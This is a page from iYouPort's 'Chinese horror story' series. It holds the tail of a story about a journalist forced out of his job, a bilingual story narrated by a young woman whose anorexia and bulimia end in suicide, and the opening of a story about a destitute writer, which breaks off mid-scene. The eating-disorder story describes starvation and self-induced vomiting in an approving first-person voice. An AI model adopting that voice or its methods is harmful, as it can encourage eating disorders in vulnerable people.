他来了，我看到了，还是一如既往的贴着墙根儿慢走着。他跟我太像，也是从农村出来的孩子，这样的孩子一眼就能看得出。我迎了上去，他看到我时一副非常惊讶的样子，压着声音“高喊”：哎呀你出来了？！……奇怪，我还一句话都没说啊，他是怎么知道我进了看守所的？顿时心里一紧。

他把我拉到街角一个废弃的凉棚底下，这旁边有棵很粗壮的树，恰好能遮住他的身体，想必从对面的编辑部大楼正纷纷打开的窗户里往外看也不会注意到我们。

确认“安全”后他沉默了片刻，但没等我说话就抢先一步开口了：“我觉得你还是躲躲吧……前天办公室来了几个穿制服的，到处跟人打听你，我也被叫去问话了，他们还在领导那边坐了一个多小时……他们说你是危险人物，破坏国家安全……”。我操！居然！“你听我说”，他拉住我正欲爆发的脾气，“你懂我的意思吗？躲躲……就是……嗯……大家都不容易，混口饭吃而已……哎，你……躲躲吧”。

说实话我第一时间并没有理解“躲躲”的意思，觉得自己已经出来了，当局不过是吓唬吓唬我，现在都过去了，还有什么可担心的？许久后才意识到，他是想让我主动辞职。他告诉我单位里有几个人“很不高兴”，包括主编，他们认为我“惹事”连累了报馆的声誉，领导要求所有人不准对外提及我的事，想封住我受迫害的消息。

最终我也没能说出自己的请求。他那眼神，就像一条几天没吃东西的流浪狗，可怜巴巴的望着我，他说：“我儿子才五个月，我老婆已经失业了… 我要养家，求求你”……天哪！我快疯了！

我就站在原地，看着他小心翼翼的过马路，真的是小心翼翼，他和我见过的很多人一样，都是活得小心翼翼的，他们的肩头有家庭、有事业，还有胆怯。“算了吧，大家不过是为糊口而已”，这句话变成了所有原则的杀手，我想起艾希曼的“一切都是奉命行事”……快告诉这有什么区别？快！

三天后我收到一封邮件，连落款都没有，只是个单位的邮箱，想必是主编发的。他说辞职信已经打印出来了，要我去签个字，顺便拿走自己的东西，还蛮有爱心的称如果需要的话可以帮我写推荐信。

我坐在桌边抽了差不多半盒烟，才慢慢拿过键盘，敲出了一个“okay”。此外没了。我仍然没想通这是为什么。以及今后怎么办。

去签字的那天我选了早晚班交接的时候，那个时候人最少。主编没出来，一个新来的女记者帮我找了支漏油儿的圆珠笔。就这么，我抱着自己的东西出来了。楼道里遇见几个熟悉的面孔，看起来都很忙的样子，没人跟我打招呼。

我又走到了街角那个废弃的凉棚前，这次停了下来。忽然想起几年前这里曾经是个报亭，也有杂质和饮料卖，生意很好，那会儿网络还没有那么发达，纸媒的日子都很滋润。当许多城市开始拆除报亭时并没有多少人觉得失去了什么，人们都低着头看手机呢，不再关注周围。也许人们认为手机里有世界？也许真实的世界里已经没有人了。

我曾经无数次走过这个破旧的凉棚，却直到今天，我想找个人说说话儿时候才记起它的曾经。这是为什么？〇

中国恐怖故事系列均改编自真实故事；故事中呈现的观点完全取自现实，不代表本网立场

原文

Chinese horror story E2: The story of my life - iYouPort

故事

This story comes from one of my sufferers, a young girl with anorexia nervosa, a disease that is not just a literal aversion to eating, but an obsession with temptation that will never escape. She was extremely impressive, not only because she finally chose to suicide, but also because of her statement, from which I realized a kind of creepy metaphor.

- ***They've promised that dreams can come true – but forgot to mention that nightmares are dreams, too.***

「图」

「图」

The fluorescent lights in the morgue were dim, and I felt the warmth of a long absence.

"This girl is actually quite good-looking," said the two autopsies as they shoved me into the freezer. Get out of the way. Do you know what that means to me? Life sucks.

What else can I do? How much effort have I put in over the years? Half a life!

I grew up to be a fat girl, yes I'm not ugly, but the word fat is like a devil, ruining almost every chance. When I was a kid I wanted to be an actor, a show host, and I sang beautifully, but they just asked me to stand backstage and dub the lip-synching people, and those pretentious pretty girls are famous because of me. Do you know how wronged I was?

This society discards everything that goes against its aesthetic style.

I was brought up in a variety of discrimination, students call me “fat boy”, although my grades are good but the teacher still look down on me, no boys would like to play with me. After graduation I have given up the ideal career, but even some civilian jobs are not willing to me, they even thought I was “unsightly in the office!”

My father had great expectations of me. Generations of my family are ordinary people, have long given up the idea of success through hard work. The fortune teller said my generation had good luck and could make it. From childhood home are very pet me, save money to buy me a variety of cram classes, dance lessons, piano lessons, I hope I can get ahead, to get this family off the ground floor.

If my family had been rich, perhaps my life would not have been so; the children of those rich families, no matter what they looked like, would have been extolled with respect, but the family was expecting me to make a lot of money, but they left me with such a hereditary gene. What a ridiculous paradoxe.

The Internet is a good thing, the Internet economy is a big savior, as long as you have some talent, this stage can give you real money, as well as enjoy endless glory and scenery. Yeah, they are telling you this, while counting the money, they proudly told you that they are the success of the Internet age, although their level in my eyes is nothing but slag.

Even if the slags are successful, why can’t I be such a powerful person? I also want to be an online celebrity! When you’re an online celebrity you can make a fortune just by singing, chatting with fans, asking viewers for virtual gifts that can be exchanged for cash. They said they could make tens of thousands of dollars in a month of webcasting! Becoming an online celebrity can also endorse products, it is said that someone sold 20 million yuan worth of clothing at a Taobao store in two hours; others made $2 million in venture capital just to tell jokes… This is a gold mine, a gold mine that our forefathers could not even imagine. What are you waiting for now?

That’s what I thought at the time. I was confident in my voice and

knowledge, but I failed. I wasn't famous. There were only a few sarcastic words on the screen. They said I was Piggy's sister, that I was ugly… They hit me where it hurts; I am fat, and my weight is something that destroys dignity, a sin, a disgrace.

Fighting under pressure for almost a year, I have not been able to build up a few fans, no advertisers, no product to find me for endorsement, the only thing left was tears, and a bitter hatred for the fat.

What should I do? What else can I do besides lose weight cruelly?

I checked a lot of books, those more professional admonition is: If you do not have cardiovascular disease, no knee and back of long-term pain, your diet is normal, there is no need to lose weight. Ha ha, this shows that those experts simply do not understand the society.

Why diet? Because exercise doesn't Work. I'm genetically obese, my mother and maternal grandparents are obese, although they don't have cardiovascular disease. I try to lose weight, I work hard on days when I can't find a job, I suffer from chronic muscle soreness. To avoid the odd stares on the street, I choose to run at night, I can't afford gym membership cards, I exercise at home. But it doesn't work at all. The scales don't lie.

Desperate, I began to collect knowledge about weight loss everywhere, almost all weight-loss programs will mention dieting. I made up my mind not to cut down and never eat. I posted a big food calorimeter in my room, counting the calories I ate every day. I would never touch food that wasn't on the form, they were like a super energy ball, a black hole, a dose of poison in my eyes, and eating them would definitely die.

But still no, too slow! Not ideal at all! Why strictly control the intake scale according to the book's standards or unchanged? The book is wrong? The form is wrong? Or the calculator is wrong?! I replaced them all, this time dedicated to the collection of extreme speed diet, no matter what source, I will try all methods, my dream is to stand up must not be ruined, my body can not be destroyed.

This time I specialize in finding ways to lose weight quickly, wherever I see it. I'm going to try everything. My dream is to stand up and be human. My life can't be ruined by my body, it can't be.

Everyone will tell you: Diet and exercise is the best way to lose weight. My personal experience can definitely confirm that, indeed. On the basis of a strict diet, I exercise hard, pedaling my bike for three hours a day, a hundred sit-ups, standing up at all times except sleeping… The scale finally smiles, and God has mercy on me.

That's when it started. I was crazy. Tough work finally found a way to help me out of the first dark half of my life. I'm going to run, the front is the dawn. Will you walk slowly? No, certainly not, I want to run. I have had enough grievances, wasted too many tears. Now, finally everything is almost over.

The whole street has only two colours in my eyes: red and green – the shops selling fruits and vegetables and clothing accessories are green, representing health, slim, beautiful and a bright future; the shops selling pastries, meat products, grain and oil are red, representing danger, obesity, ugliness and endless abyss. Red radiates its malevolent light, like a serpent's claw. You have to get around them. Bypass them at a distance, not even take a glance. This is called self-control, which is the highest step towards success.

I had to make myself sick of all that stuff. Do you know how to quit smoking and booze? Yes, the same principle. The only real success is to disgust myself with the smell of nicotine and alcohol. I no longer eat at the table. I loathe the smell of the kitchen. If I continue to eat the same home-cooked food and three meals a day, the result is that my body is no different from my mother's. I have a recipe of my own design – the one that unearths the fastest results from a wide variety of extreme weight loss methods, which are Truth, Prescription and the Bible.

As I walk down the street, my eyes automatically search for overweight people. I'm constantly irritated by the smell of their bloated bodies. I'm sickened by the smell of them. This is how I've been hated by others and licked ice cream without knowing it. Twenty years of my life has been in vain.

Never go back to those dark days. No… it's time to forget it. I've stepped on to success. Just pick up the pace, and it'll be over in no time.

The scale began to smile! It was playing an impassioned melody to celebrate me! 48kg. It was simply marvellous for my height of 167cm!

It's really dawning. I wept bitterly. Although I was too weak to stand, I was often dizzy and sallow. But my heart strings were always singing in the song of triumph. I am a winner. Nothing is more important than success. It is what everyone is after. In order to succeed, everything is worth it.

This era recognizes only the success.

You know, there's so much more pressure on winners than on losers. Think about it. How can you fall back into gloom when you've seen the light? No, I'm wrong. It's not a success. I'm just standing on the edge of danger with my back to the cliff. A moment of inattention can be fatal. Can't do it again. I really don't have the strength to do it again. Danger… Don't look back… Danger…

It's like a dream. I think I'm about to wake up. Almost. Just a little push… Open your eyes… No! Don't wake up! Or a bloated body, endless giggles, a pauper's day? No! Never!

Why is there 24 hours a day? It's too long. It's unbearable. Now, the only way to avoid food is to sleep and sleep. It's best to sleep for 20 hours. It's best not to wake up. I can't go out any more. The stairs are as steep as Mount Everest. Slim and slender legs are my pride, although they can hardly support my body. But I can wear the most beautiful clothes to show off, although my pale face makes me want to put on a mask…

Don't wake me up. I need to sleep. Everything is quiet. How beautiful.

I dreamt that I stood on the stage with all the lights on and made all the lip-synching feel bad; that I had reached the pinnacle of my life with flowers and praise; that I had found a job as a senior secretary,

that I was the face of a big business, that the money was flying; that I had caught the eye of all the men, and they bowed down under my skirt…

Don't wake me up. I'm not hungry! Don't talk to me about that disgusting food. I'm tired of being trapped.

Glucose! It's poison! Gosh. You murderers, kill me. Come on, kill me! Don't give me glucose! Help…

I didn't have the strength to push those big hands away. I heard crying. It seemed like Mum. Mum knew they were killing me too? Mum, help me. I couldn't take glucose! All glucose was calorie bombs!

Tears all over my face soaked the pillow. My ears were like floating in the river. It was cold. The bone was cold. I couldn't move. Did they tie me up? The yellow daylight, the reflection of people, whispering, crying…

The world is crazy. It can rob you of your life with fat and bury you in hell with glucose. You are just a puppet. Forever manipulated, discriminated, ridiculed, rejected, seduced, bound. Why me? Why must I go through these disasters. What have I done wrong to accept such punishment!

I used my best to pull the tangled infusion tube. Running all the way to the toilet, vomiting. Stomach juice spits out. There must have been some poison glucose. The numb limbs could barely feel everything around them. But all of a sudden my mind was wide awake. Because I found another way! God just made a little joke. Ha ha, I won.

No, it's not the road to success. It's the road to hell. I didn't know anything then. Just thinking that I wouldn't have to starve again, the disaster is going to end.

Food is an evil thing. You can't get rid of it at all. Trust me. When I allow myself to start eating, my stomach instantly becomes a giant bottomless pit, forever filled with discontent. A few pounds of pastries, a dozen loaves of bread, chunks of meat, I can eat it in a

few minutes. But I won't eat anything like ice cream, because it can be hard to spit out intact.

Laryngeal vomiting is more important to my meals than chopsticks. Without chopsticks there are hands, but if I can't vomit I'm sure to die. I choose the most calorie-laden foods, the ones I haven't touched in over a year, and now I can finally enjoy them to the fullest. Leave them feeling happy in my mouth, but never let them stay in my stomach. Not giving them time to break down and absorb so I can't be proud of my appetite.

Vomiting is a hassle. After all, I don't live alone. It's not easy to avoid my parents' eyes. They'll never understand. Vomiting is the healthiest way for me. It's not a sign of a disease.

It's not hard at all. It's easy to do. As long as you hate what you eat as much as I do. Hate your indulgence. It's easy to vomit when you think about your terrible figure and your fate framed by it. It's like unscrewing a faucet. I put my hand on my stomach and feel the extent of the collapse. To make sure I can't get rid of any junk.

Almost at the same time, a series of strange things followed. I no longer have the pleasure of eating full, do not enjoy the delicious food. At the same time my fear of hunger is even more intense. Almost all the time of the day I have only two things left in my mind: eat and vomit. I keep eating just to keep vomiting. I try desperately to collect food, just to repeat the process. Repeat until I'm exhausted. I steal money from home just to buy lots of food. I run away from the love of my family just to be able to vomit freely… whether talking or typing, the word 'weight loss' is stuck in my throat like a sharp knife; no matter how large the text, as long as there are words related to weight loss, I can find it instantly.

I can't remember who I am. What I'm doing. Why I'm living.

Glory. Yes, it's all just for glory. I need to be praised, recognized, I need to succeed. Yes, now only the pursuit of success can fill my heart.

Everyone lives under the pressure of public opinion. Social values define your life. It is those who do not care about you write the

concept of success for you. You are told: the law of the jungle is the reality. Win or die in inhuman social competition. Who wouldn't want to be beautiful, slender and charming? Especially in a time when knowledge is devalued and ability is cheap to look at the face. As a girl, you have little choice if you want to cross the iron walls of the class.

Fate will always play a fatal joke on some people. God will not love the weak. If I want to climb out of this stratum that depend on others all the life, I can only do it through my own efforts. But this society only recognize appearances. People like to say that men live hard, to have knowledge, will make money and will engage in human relations. Girls, on the other hand, have everything at their fingertips if they are beautiful. But they forget that expensive cosmetic surgery is not affordable for everyone, and that not many people can afford to be immaculately beautiful. Some roads are doomed to death, and not many people can enjoy the natural beauty. Some roads are doomed to be fatal, and some people will not be able to escape their inferior status for generations to come.

Success or die. Now that life is the only bet I can afford. The more you pay, the harder it is to give up. Whatever the outcome. I have no way back. Wherever I go, it is the end.

中文版：《中国恐怖故事 2：我一生的故事》

原文

Chinese horror story E2: 我一生的故事 - iYouPort

故事

这个故事来自我亲历过的一位患者，一位患上了神经性厌食症的年轻女孩。这种病并非仅仅如其字面含义那样厌恶进食，而是永远都无法摆脱的诱惑之魔。她给我留下了极其深刻的印象，不只因她最终选择了自杀，还有她的陈述，从中，我体会到一种令人毛孔悚然的隐喻。

- ***They’ve promised that dreams can come true – but forgot to mention that nightmares are dreams, too***

「图」

「图」

停尸房的荧光灯影影绰绰，我居然感觉到了一丝久违的温暖。

“其实这姑娘长得挺好看的”，两个尸检员在把我推入冰柜前闲散地念叨着。滚开，你知道这句话对我来说意味着什么吗？生不如死。

还能怎么办，我这些年来花了多少力气？半条命啊！

我从小就是个胖姑娘，是啊我长得不丑，但是胖这个字就像个魔鬼，毁灭了几乎一切机会。小时候我很想当演员、做节目主持人，我唱歌也很好听，但他们只是让我站在后台给那些假唱的人配音，那些虚伪的漂亮姑娘就是我捧红的。你知道我有多委屈吗？

这个社会对一切违背它审美风格的东西弃如草芥。

无处不是如此。我是在各种各样的歧视中长大的，同学叫我“肥仔”，虽然我成绩很好可老师还是看不上我，没有一个男同学愿意跟我玩。毕业后我已经放弃了理想的择业倾向，可是连一些文职工作都不愿意要我，他们甚至认为我“摆在办公室里有碍观瞻”！

我爸曾经对我寄予很大的期望。我家几代都是普通老百姓，早已断了

争强好胜的念头。可算命的说我这一代能转运，能飞黄腾达。从小到大家里都很宠我，省吃俭用给我买了各种补习班、跳舞课、钢琴课，就指望我能出人头地，让这个家摆脱草芥一般的底层境遇。

要是我家很有钱，也许我的人生还不至于如此。那些有钱人家的孩子不论长成什么样，都会被吹捧尊重，可家人是在指望我赚大钱，却留给我这样一副遗传基因。多么荒唐的悖论。

互联网是个好东西，网红经济是大救星，只要你有某方面的才能，这个舞台就能给你带来真金白银，还有享不尽的荣耀和风光。是啊，他们都在这样告诉你，他们一边数着钱一边洋洋得意地告诉你，他们是网络时代的成功者，虽然他们的水平在我眼里不过是渣。

连渣都发达了，我这种实力派为什么不行？我要做网红！当上网红你就可以仅仅通过聊天、唱歌，与粉丝们搭讪、向观众讨要虚拟礼物，而发财，因为这些虚拟礼物可以兑换成现金。他们说直播一个月就可以赚到几万美金！成了网红还可以给产品做代言，据说有人两个小时内就在淘宝店铺卖出了价值 2,00 0万人民币的服饰；还有人只凭说笑话就赚到了 200 万美金的风险投资……这是个金矿，我们的祖辈父辈连想都想不到的金矿，如今唾手可得，你还等什么？

那会儿我真是这么想的。我对自己的嗓音和知识面颇有自信，但我失败了。我没有红，弹幕上只有只言片语的嘲笑字眼，他们说我是猪八戒的妹妹、说我丑人多作怪……他们说到了我的痛处，我胖，就像体重是一种毁灭尊严的东西，是原罪，是耻辱。

顶着压力奋斗了快一年，我也没能积累起几个粉丝，也没有广告商来送钱，更没有产品找我代言，唯一剩下的只有满腹泪水，和对这一身赘肉的刻骨仇恨。

我该怎么办？除了下狠心减肥，还能怎么办？

我查了很多书，那些比较专业的告诫是：如果你没有心血管病、没有膝关节和背部的长期疼痛、你的饮食起居是正常的，就完全不需要减肥。呵呵，只能说那些专家根本不懂这个社会。

为什么选择节食？因为运动没有用，我属于遗传型肥胖，我母亲、外公外婆都胖，虽然他们都没有心血管疾病。我试过运动减肥，找不到工作的日子里我拼命运动，长期肌肉酸痛。为了躲开街上那些奇怪的目光，我选择夜间跑步，买不起健身房的会员卡我就在家里做运动，但一点用也没有，磅秤不会撒谎。

我绝望了，开始各处收集减肥相关的知识，几乎所有的减肥方案都会提到节食。我下定决心，不减下来绝不吃饭。我在屋里贴了一张大大的食物热卡计量表，每天计算自己摄入的热量。表格上面没有的食品我绝不会碰，它们在我眼中就像一只超级大的能量球、一个黑洞、一剂毒药，吃下去肯定会死的。

但还是不行，太慢了！完全不是理想的状态！为什么依照书中的标准严格控制摄入量磅秤还是不变？书是错的？表格是错的？还是计算器错了？！我换掉了它们所有，这次专门收集极速减肥法，不管什么来源照单全收，我要尝试所有方法，我的梦想是要站起来做人。我的人生不能被身材毁掉，绝不能。

任何人都会告诉你：节食加运动是最好的减肥方法。我的亲身经历完全可以证实这点，的确如此。在严格节食的基础上，我拼命运动，每天在自行车上蹬三个小时，一百个仰卧起坐，除了睡觉，其他任何时候都处于站姿……磅秤终于笑了，天哪，上帝可怜我了。

就是从那时开始，我疯了。你说呢？千辛万苦终于找到了一条路，这条可以帮我走出前半生阴暗的路，我要跑起来，前面就是曙光了，换了你会慢慢走吗？不，肯定不，我要跑起来。我已经受够了委屈，浪费了太多眼泪，现在，终于一切都快结束了。

整条街在我眼里只有两种颜色：红色和绿色－－卖蔬菜水果和衣服饰品的店铺是绿色的，代表着健康、苗条、美丽和如日中天的未来；卖糕点、肉制品、粮食油类的店铺是红色的，代表着危险、肥胖、丑陋和无尽的深渊。红色辐射出恶毒的光，像一条条毒蛇张牙舞爪，你要绕开它们，远远的绕开，哪怕看一眼也千万不要，这叫自控力，迈向成功的最高一级台阶。

我必需让自己恶心那些危害性的东西，你知道戒烟戒酒吗？对，同样的原理，只有让自己恶心尼古丁和酒精的味道才是真正的成功。我早已不再坐餐桌前吃饭了，我厌恶厨房散发的气味，如果继续吃同样的家常菜和一日三餐其结果就是和我妈的身材没什么两样。我有自己设计的食谱，从各种各样的极速减肥法中挖掘到的效果最快的方案，它就是真理、仙方和圣经。

走在街上，我的眼睛会自动搜索那些超重者，贴在他们臃肿的身材上不断刺激内心的厌恶感，他们身上散发的气味让我恶心。我自己曾经就是这样被他人厌恶着却毫不自知地舔着冰激凌，这二十年真是白活了。

永远也不要回去那些暗无天日的年月。不……现在就应该忘掉它了，我已经一脚踏进了成功，只需要再加快进度，马上就可以苦尽甘来了。

磅秤开始狂笑！它正演奏出一曲激昂的旋律为我庆功！48kg了，对我167cm的身高来说简直就是美妙绝伦！

天真的亮了。我痛哭流涕。虽然那时已经虚弱得难以站立，经常头晕目眩脸色蜡黄，但我的心弦一直在凯歌中合唱，我是成功者，没有什么比成功更重要的了对吧，这是所有人都在追求的东西，为了成功，一切都是值得的。这个时代只认成功。

你知道吗，成功者的压力比失败者大太多了。想想看，你已经亲眼见到了曙光还怎能退回阴郁之中？不，我错了，这还不是成功，我只是背对着悬崖站在了危险的边缘上，稍不留神就会万劫不复。不能再来一次了，我真的没有力气再来一次了，危险……不要往后看……危险……

就如一场梦，我想就快醒来了吧，就快了，只需轻轻一推……睁开眼睛……不！不要醒来！还是臃肿的身体、无尽的嘲笑声、一穷二白的日子？不！绝不要！

为什么一天会有24小时，太长了，难以忍受。现在，躲开食物的方法只有睡觉，不停的睡觉，最好睡上20个小时，最好不要再醒来。我已经无法出门，楼梯就像珠峰一般险峻。苗条修长的双腿是我的骄傲，虽然它们难以支撑身体，但我可以穿上最靓丽的衣服炫耀，虽然这时的脸色让人想戴上面具……

不要叫醒我，我需要睡眠，一切静悄悄的，多么美好。

我梦到自己站在了彩灯灿烂的舞台上，让所有假唱自惭形秽；我登上了人生巅峰，鲜花和赞美不绝于耳；我找到了高级文秘的工作，成为大企业的形象代言人，钞票满天飞舞；我吸引了所有男人的目光，他们纷纷拜倒在我的裙下……

不要叫醒我，我不饿！不要和我谈论那些恶心的食物，我受够了深渊中的雪藏。

葡萄糖！这是毒药！天哪，你们这些凶手，杀了我啊，来啊，杀了我！不要给我葡萄糖！救命啊……

我没有力气推开那些大手，我听到了哭声，好像是妈妈。妈妈也知道

他们在杀我？妈妈，救救我，我不能接受葡萄糖！所有的糖都是热卡炸弹！

满脸的泪水浸湿了枕头，耳根就像飘在河里一样，冰凉，彻骨的冰凉。我不能动弹了，他们绑住我了吗？昏黄的日光，人的倒影，窃窃私语，哭泣声……

这个世界疯了。它可以用赘肉剥夺你的人生，再用葡萄糖把你埋入地狱。你只是个傀儡，永远被操纵着，歧视、讥讽、拒绝、诱惑、捆绑，为什么是我，为什么非让我经历这些灾难，我究竟做错了什么要接受如此惩罚！

我用尽全力扯开缠绕的输液管，一路奔向马桶，狂吐起来。胃液一泻而尽，一定还有那些毒药葡萄糖。麻木的四肢几乎感觉不到周围的一切，但忽然之间头脑异常清醒。因为我发现了另一条阳关道！上帝只是开了个小玩笑，哈哈，我还是赢了。

不，这不是阳关道，而是通往地狱的路。那时我什么都不知道，只想着自己不用再挨饿了，就是灾难的结束。

食物是一种邪性无比的东西，你根本无法摆脱它，相信我。当我允许自己开始吃东西的时候，我的胃瞬间变成了一个巨大的无底洞，永远都填不满。几斤糕点、十几个面包、大块大块的肉，几分钟就能吃下去，但我不会吃冰激凌那样的东西，因为那些液体可能很难完整的吐出来。

抠喉呕吐对我的进餐来说比筷子还重要，没有筷子还有手，但如果不能呕吐肯定会死掉。我选择的都是热量最高的食物，前一年多来我丝毫不碰的食物，现在终于可以充分享受它们了，在口中留下幸福的感觉，但绝不能让它们在胃中久留，不能给它们分解吸收的时间。这样一来既能满足食欲又不会发胖，我一直引以为傲的发明就是这样。

呕吐是件很麻烦的事，毕竟我不是一个人住，要躲开父母的眼睛并不容易，他们永远不会明白，对我来说呕吐是最健康的途径，而不是什么疾病的表现。

一点都不难，很容易做到的，只要你和我一样厌恶自己吃下的那些东西，厌恶自己的放纵，想想可怕的身材和被它框定的命运，呕吐会易如反掌。就像拧开的水龙头，这种宣泄畅快淋漓。我把手放在胃部，感受塌陷的程度。以确认“完工”，尤其是仰卧的时候，摸着泄空的胃部对我来说是一种享受。否则还能怎么做，我倒是恨不得家里有套X

光设备，可以用来确认那些垃圾食品一点都没剩的排出去了。

几乎就在那同时，一系列奇怪的事情接踵而来。我不再有饱食的快感，享受不到食物的美味，同时饥饿的恐惧气氛反而更加浓烈了、一整天几乎所有时间我的脑子里只剩下两件事：吃和吐。我不断的进食只是为了不断的呕吐，我拼命的收藏食物，只是为了重复这个过程，不断重复，直至筋疲力尽。我偷走家里的钱，只为了买来大量的食物，我逃离家庭的关爱，只为了能畅快的呕吐……不论是说话还是打字，减肥这个词都像一把尖刀扎在我喉咙里；不论多大篇幅的文字，只要里面存在与减肥相关的单词，我都能在瞬间找到它。

我已经想不起自己是谁，在做什么，为什么而活。

荣耀。是的，这一切只是为了荣耀。我需要被赞美，被认可，我需要成功，是的，如今只有对成功的追求能填满我的心。

每个人都活在舆论的压力下，社会价值观在定位你的人生，正是那些对你毫不关心的人在替你书写成功的概念。你被告知：弱肉强食才是现实，惨无人道的社会竞争中，不赢则死。美貌、苗条、妩媚多姿，谁人不想拥有？尤其是知识贬值、能力廉价的看脸时代，作为一个女孩子，要想跨越阶层的铜墙铁壁，你几乎别无选择。

命运总是会和一部分人开出致命的玩笑，神也不会怜爱弱者。我想要爬出这个一辈子都要看人脸色的阶层，就只能通过自己的努力。无奈这个社会只认表象，人们喜欢说男人活得苦，要有学识、会赚钱还要会搞人际关系，而女孩子，只要长得漂亮，一切唾手可得。但他们忘了，并不是每个人都负担得起昂贵的整形手术，更没有多少人能享受天赐的貌美无暇，有些路注定是致命的，有些人世代都无法摆脱低下的身份。

不成功毋宁死。如今这条命是我唯一能押得起的赌注。你付出的越多就越难以放弃，不论结果如何。我已经没有回头路了，不论走向哪里都是结束。〇

中国恐怖故事系列均改编自真实故事；故事中呈现的观点完全取自现实，不代表本网立场

原文

Chinese horror story E3: "Just do it" - iYouPort

故事

The slaves of Haiti believed that suicide was the only way out of their miserable fate, the way to freedom. Thousands of slaves took this approach, even though they believed that by doing so they would become zombies that would never die… What was the end of despair? The strongest emotions in this society coalesced around it.

- ***Half the world is redoing its kitchens, the other half is starving***

「图」

「图」

“Yi, hotpot tonight, come here, we’ve got beautiful girls”. Mr. Yu is calling me in the WeChat group. Hotpot in such weather? Rich guys are really difficult to understand.

I was sitting on the ground, so it felt cooler. The weather had gotten hotter in recent years and the world was warming. I was luckier than the polar bears because the tiny rental house wouldn’t melt in the sun.

It was a chance to get to know Yu, who was fighting a public opinion battle online when the other side hired the public relations staffs to surround him and a few of his poor supporters. I had nothing to spare but to help him say something fair. It didn’t occur to me that he reached out to me afterwards and invited me into his online group-chat.

His friends are all rich men like him, and it makes me a little flattered. To fit in, when I introduced myself, I said I worked for an

international corporation. Little did I believe they believe it.

What's more, this lie puts a lot of burden. As you know, the bosses have a lot of money to send red envelopes with hundreds or thousands yuan, that way, someone will listen to them. I don't have so much money, so I have to act like a marginal man, pretend to be offline.

What's more, they couldn't be entrusted with offering a job for me. If they knew I was penniless, they would have let me out at the first time.

Batches of CVs have been thrown out, and all is lost. And the long wait is like endless night, suffocating. Anyway, I can't go back. Mom and Dad were dead, the old house is torn down, my girl is gone, nothing is left. Can't even lose face together. I can't lose my face.

The TV is finally in normal state, old-fashioned second-hand garbage, non-stop faults, unknown for the next time. I don't know. Everything is unknown. Like a time bomb without a timer. You can feel the death is approaching, but don't know how much longer you can live.

Cooking shows are shown on TV, and that's what happens when it's time to eat every day. It's like the TV choreographers know that there are still a lot of guys in this society who are hungry like me. I use a long knife to slice dry steamed buns and munch them. I stare at the brightly colored food on the screen.

Reaching out and touched the cold urn under the bed.

"My son works in a big city." When my mother was alive, I was her greatest pride. In that poor hometown, the "big city" was as glittering as you think America is, full of money. They wouldn't know what kind of purgatory this one-window, five-square-metre, no-air-conditioned rental house would be in a 40-degree heat.

"You have to master a skill to live". When I chose Chinese as my major, my father lamented. Writing was not a skill in his eyes. Intellectuals would starve, or even be beaten, and locked up in

cowsheds. His generation suffered too much. It is not too hard to understand. When my article was first printed in a magazine, his eyes were filled with tears of excitement. He was happy for me. Perhaps he was the last man in the world who could rejoice in my talent.

Luckily Dad didn't use electronic devices when he was alive and didn't know how to surf the Internet. Otherwise he would have to worry about his son being squeezed out of the fickle world of new media. "Why think so much? Happiness is the most important" the moguls like to say. In their eyes, there is no problem if it can be solved by money. But for those who do not have money, it is almost everything.

Although the text is already worthless, the moguls still like young people with literary talents. Just as they like to get a big study in their luxurious apartment, stacked with a wall of books, but not for reading, everything is furnishings. "Literati" is still a word of praise. But if it comes to earning money, knowledge alone is no way out. Without money there is no face, without face there is no friend, without friends there is no ways, without way out there is no money.

I can't get into this endless cycle. Never. At least I had to bury my parents first. The cemetery was so expensive that I had to carry the urns around to hide from the landlord. If they saw me, they would throw me out because of "bad luck".

At the end of the cooking show, my steamed bun was gone. I put my knife back in my bag and got up to walk to the window. Out of the window was a huge billboard with Nike shoes on it saying, "Just do it." The rusty sign seemed to glow.

I touched the cold urns again, put on my vest, and went out in the hot sun.

The dress rental shop is in a dark alley. The shopman is lying on the counter and dozing off. A few years ago, the business in this small shop was quite brisk, but now it seems to be dying. Probably more and more people are getting rich. Haha. There's a lot of high-end looking costumes. It's all about face preparation for interviews,

dinners, dates for people like me who don't have the money or status. Face is paid to rent. If you think this is an irony, it only shows that you do not understand the society at all, or have not experienced the life of the people at the bottom.

I rent a casual suit. 50 yuan a day. Size seems a little big, my skinny arms are swinging in the sleeves. The shopman shakes his head helplessly. "Young people should eat more, the health matters." Don't I want to? I only have 50 yuan for two days. I'm going to make it up in the hotpot tonight.

"How can I be forgiven for pushing off Mr. Yu's kindness?" On my way back, I typed a few words into the group chat and caught everyone's attention. "Literati speak nice words." When such happens, I fall into a black hole of self-deprecation and self-pride.

I took off the black armband with the word "filial piety" and put it gently into the drawer. Mom and Dad, please wish me luck…

It was not the hotpot I imagined. It was much more luxurious than that. It was full of dishes I'd never seen before. The text on bottles were all in foreign languages. The chilly air-conditioned wind made me shiver.

Moguls are enjoying, they kept flirting with a couple of young girls. And I'm like something idle, with nowhere to put it. It's hard to get close to the moguls, and the boredom comes to me like beer foam. A bespectacled girl, like me, doesn't talk much at night. Perhaps with the same boredom, she starts to get close to me.

"Where do you work?" She asked me about my sore spot as soon as she came up. It was a simple chat. "Well, I just left my job and plan to change my environment." "Pretty good, what are you major in?"

"Yi is a top student in Chinese major, up-and-coming star of the cultural world, haha," Mr. Yu chimed in. Ms. Spectacles chuckled. A group of people began to roar: "Come, a toast to the up-and-coming star!"

Mr. Yu asked me to say toast, I read a poem, Li Bai's 'Bring In The Wine', but also a nonsensical applause, as in the WeChat group. I

still do not understand whether these moguls really love culture or they are just joking.

After drinking, the protagonist's turn came to the university professor who was about to emigrate. This guy looked gentle, but did not expect to be abnormally obscene. He actually declared with great interest in front of a lot of people: "The girls I taught are all sexy and tender. I know the menstrual periods of all of them."

It's fu**ing disgusting. This kind of person still has the face to call himself a professor. I drank a muggy drink and before I could swallow it all, I came across something even more disgusting – a girl with heavy make-up and allegedly with a master's degree who said, "It's a great honor to be doted on by her professor." I was choked so badly that a violent cough caught the attention of the audience.

I excuse to go to the bathroom, temporarily leave the table. I do not know who shouted in the back: "Hi up-and-coming star, buy a pack of cigarettes for me by the way, Marlboro thanks."

Shit, can't she be a prostitute? Why does she have a master's degree? I cursed in front of the mirror in the bathroom. My tears fell out. They didn't know that my first girlfriend got to bed with her professor because I couldn't afford to buy her an iPhone. She's the only girl I ever loved. Now it's hard to tell.

I washed my face, but I couldn't find a tissue. I scrubbed my face and came out soaking wet. I met the bespectacled girl I had just chatted with near the cigarette counter. She smiled at me, shook Marlboro in her hand, and signalled that she had bought it. Did she know that I was poor? A moment of embarrassment.

